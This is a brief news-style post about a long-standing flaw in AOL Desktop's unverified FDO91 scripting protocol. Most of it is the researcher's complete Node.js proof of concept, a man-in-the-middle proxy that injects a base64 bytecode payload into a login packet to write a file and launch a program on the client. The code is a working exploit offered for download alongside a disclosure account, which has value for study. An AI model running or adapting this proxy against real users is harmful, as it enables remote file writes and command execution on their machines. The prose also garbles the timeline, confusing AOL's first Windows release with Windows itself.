Vulnerable Since 1993
The All in one experience desktop is widely popular because of it’s ability to do medium processing unit and being touch compatible.
A researcher has found a vulnerability on AOL Desktops, it has been 22 years since the desktop has been vulnerable. The vulnerability is from the very first version of windows till the latest released in early August 2015.
The custom AOL protocol, includes a scripting language called FDO91 (FDO), that’s compiled into a bytecode. Compiled FDO makes up part of the data sent from server to client and client to server. Since FDO is never verified by the client, hackers can expose the flaw and add their own FDO, which would just run normal on client side.
If a vulnerable and supported AOL Desktop client connects to it, then it will add FDO to a specific packet to drop a text file to disk and run notepad to automatically open that text file.
” In late August 2015, I disclosed this issue to AOL and gave them a preliminary version of this PoC you see here; (in which you had to manually configure a certain setting in AOL to connect to the proxy). The following version of AOL Desktop fixed the remote command execution issue, probably by removing async_exec_app. However, the fm_* opcodes still exist, and more interesting FDO opcodes probably exist, and some of them might contain issues of their own; more research is needed here.”
Mitigation
The only way to avoid the exploitation is to remove the software and re install if necessary when the patch is out.
The script can be found here.
/* ayy-oh-lmao.js AOL Desktop <= 9.8.0 File Write and Remote Command Execution via MITM AOL Desktop <= 9.8.1 File Write via MITM. by slipstream/RoL, between August and December 2015. irc.rol.im #rol ** http://rol.im/chat/ ** twitter @TheWack0lian The custom AOL protocol, includes a scripting language called FDO91 (FDO), that's compiled into a bytecode. Compiled FDO makes up part of the data sent from server to client and client to server. From the very first version of AOL for Windows (released in 1993) onwards, up until AOL Desktop 9.8.0 released early August, 2015, some of the available FDO included some intersting opcodes. First up being the File Management (fm_*) opcodes, which enable the reading from and writing to arbitrary files on disk. Second up being async_exec_app (this was introduced in WAOL 2.0 from 1994), which runs the provided string operand with arguments. FDO never ever got verified by the client by any means, so anyone in a man-in-the-middle position can add their own FDO, in packets sent to the client, which will happily run it. This proof-of-concept will create a proxy listening on all interfaces, on TCP:5190 and UDP:5190. If a vulnerable and supported AOL Desktop client connects to it, then it will add FDO to a specific packet to drop a text file to disk and run notepad to automatically open that text file. In late August 2015, I disclosed this issue to AOL and gave them a preliminary version of this PoC you see here; (in which you had to manually configure a certain setting in AOL to connect to the proxy). The following version of AOL Desktop fixed the remote command execution issue, probably by removing async_exec_app. However, the fm_* opcodes still exist, and more interesting FDO opcodes probably exist, and some of them might contain issues of their own; more research is needed here. The betas of 9.8.2 (available right now from http://beta.aol.com/) have not been tested, so it is unknown if they still have the fm_* opcodes. The currently released version is still 9.8.1 though, so... In any case, running AOL Desktop is a security risk, as it interprets unauthenticated script bytecode downloaded from a remote server. Do you really want that? :) */ var net = require("net"); var dgram = require('dgram'); var readQueue = null; var writeQueue = null; /* ** The FDO we inject as a PoC: * fm_start * fm_item_type <filename> * fm_item_set <"pwned.txt"> * fm_item_type <path> * cm_tb_get_path * uni_use_last_atom_string <fm_item_set> * fm_item_get <filespec> * uni_use_last_atom_string <var_string_set, 01x> * fm_create_file * fm_open_file <01x> * fm_append_data <"AOL pwned clientside through MITM...\r\nReading/writing to FS and arbitrary command execution 1993-2015 :)"> * fm_flush_file * fm_close_file * fm_end * var_string_set <A,"notepad.exe \""> * var_string_concatenate_regs <A,B> * var_string_set <B,"\""> * var_string_concatenate_regs <A,B> * var_string_get <A> * uni_use_last_atom_string <async_exec_app> */ var evilfdo = new Buffer( "CAAACAIBBggDCXB3bmVkLnR4dAgCAQcKUwAACgIIAwgEAQgACgMMBQEIFQAIFgEBCBtoQU9MIHB3bmVkIGNsaWVudHNpZGUgdGhyb3VnaCBNSVRNLi4uDQpSZWFkaW5nL3dyaXRpbmcgdG8gRlMgYW5kIGFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbiAxOTkzLTIwMTUgOikIJwAIGgAIAQAMBQ4Abm90ZXBhZC5leGUgIgxkAgABDAUCASIMZAIAAQwJAQAACgINGQ==", "base64"); var parseProtocol = function(data,read) { var ret = []; var buf; if ((read) && (readQueue != null)) { buf = new Buffer(readQueue.length + data.length); readQueue.copy(buf); data.copy(buf,readQueue.length); readQueue = null; } else if (writeQueue != null) { buf = new Buffer(writeQueue.length + data.length); writeQueue.copy(buf); data.copy(buf,writeQueue.length); writeQueue = null; } else buf = new Buffer(data,'ascii'); while (buf.length > 0) { if (buf.readInt8(0) == 0x5a) { var len = buf.readUInt16BE(3) + 6; if (buf.length < len) { // shove it in the packetQueue and wait. if (read) readQueue = buf; else writeQueue = buf; break; } if ((len == 0x25) && (read) && (buf.readUInt16BE(8) == 0x4174) && (buf.readUInt32BE(0xd) == 0x20010d25)) { console.log("[+] found the async_set_screen_name FDO packet, adding our own FDO to the end of it...\n"); // this is a small simple FDO stream containing just one async_set_screen_name // perfect to add our evil FDO to the end of :) var newbuf = new Buffer(len + evilfdo.length); // get the length of the screen name string within var snlen = buf.readUInt8(0x11); // copy everything up to the end of the screen name buf.copy(newbuf,0,0,0x12+snlen); // add our fdo evilfdo.copy(newbuf,0x12+snlen); // add the last three bytes newbuf.writeUInt16BE(0x2002,newbuf.length - 3); newbuf.writeUInt8(0xd,newbuf.length - 1); // fix up the header length newbuf.writeUInt16BE(newbuf.length - 6,0x3); // and push the new modified evil packet ;) buf = buf.slice(len); ret.push(newbuf); continue; } var buf2 = new Buffer(len); buf.copy(buf2,0,0,len); buf = buf.slice(len); ret.push(buf2); } else { // check for the NEWER protocol. if (buf.readInt8(0) == 0x2a) { var len = buf.readUInt16BE(4) + 6; if (buf.length < len) { // shove it in the packetQueue and wait. if (read) readQueue = buf; else writeQueue = buf; break; } if ((len == 0x22) && (read) && (buf.readUInt16BE(6) == 0x4174) && (buf.readUInt32BE(0xb) == 0x20010d25)) { console.log("[+] found the async_set_screen_name FDO packet, adding our own FDO to the end of it..."); // this is a small simple FDO stream containing just one async_set_screen_name // perfect to add our evil FDO to the end of :) var newbuf = new Buffer(len + evilfdo.length); // get the length of the screen name string within var snlen = buf.readUInt8(0xf); // copy everything up to the end of the screen name buf.copy(newbuf,0,0,0x10+snlen); // add our fdo evilfdo.copy(newbuf,0x10+snlen); // add the last two bytes newbuf.writeUInt16BE(0x2002,newbuf.length - 2); // fix up the header length newbuf.writeUInt16BE(newbuf.length - 6,0x4); // and push the new modified evil packet ;) buf = buf.slice(len); ret.push(newbuf); continue; } var buf2 = new Buffer(len); buf.copy(buf2,0,0,len); buf = buf.slice(len); ret.push(buf2); } else { // this is probably not needed any more now we shove the first part of a truncated FLAP packet in a queue.. ret.push(buf); break; } } } return ret; } var proxyPort = 5190; var serviceHost = "americaonline.aol.com"; var servicePort = 5190; var server = dgram.createSocket("udp4"); server.bind(proxyPort,function() { var sockets = {}; server.on("message",function(msg,s_rinfo) { msg = parseProtocol(msg,true); for (var i = 0; i < msg.length; i++) { if (!sockets.hasOwnProperty(s_rinfo.address)) { sockets[rinfo.address] = dgram.createSocket("udp4"); sockets[rinfo.address].on("message",function(msg,rinfo) { msg = parseProtocol(msg,true); for (var i = 0; i < msg.length; i++) { console.log("[UDP] "+s_rinfo.address+":"+s_rinfo.port+" - Read data:"+msg[i].length+" bytes"); server.send(msg[i],0,msg[i].length,s_rinfo.port,s_rinfo.address); proxySocket.write(data[i]); } }); console.log("[UDP] Got connection from "+s_rinfo.address+":"+s_rinfo.port); } console.log("[UDP] "+s_rinfo.address+":"+s_rinfo.port+" - Write data:"+msg[i].length+" bytes"); sockets[rinfo.address].send(msg[i],0,msg[i].length,servicePort,serviceHost); } }); console.log("Created UDP proxy on 0.0.0.0:"+proxyPort); }); net.createServer(function (proxySocket) { var connected = false; var buffers = new Array(); var serviceSocket = new net.Socket(); console.log("[TCP] Got connection from "+proxySocket.remoteAddress+":"+proxySocket.remotePort); serviceSocket.connect(servicePort, serviceHost, function() { connected = true; if (buffers.length > 0) { for (i = 0; i < buffers.length; i++) { serviceSocket.write(buffers[i]); } } }); proxySocket.on("error", function (e) { console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - connection closed"); serviceSocket.end(); }); serviceSocket.on("error", function (e) { if (!connected) { console.log("Could not connect to service at host " + serviceHost + ', port ' + servicePort); } proxySocket.end(); }); proxySocket.on("data", function (data) { data = parseProtocol(data,false); for (var i = 0; i < data.length; i++) { console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - Write data:"+data[i].length+" bytes"); if (connected) { serviceSocket.write(data[i]); } else { buffers[buffers.length] = data[i]; } } }); serviceSocket.on("data", function(data) { data = parseProtocol(data,true); for (var i = 0; i < data.length; i++) { console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - Read data:"+data[i].length+" bytes"); proxySocket.write(data[i]); } }); proxySocket.on("close", function(had_error) { serviceSocket.end(); }); serviceSocket.on("close", function(had_error) { proxySocket.end(); }); }).listen(proxyPort); console.log("Created TCP proxy on 0.0.0.0:"+proxyPort);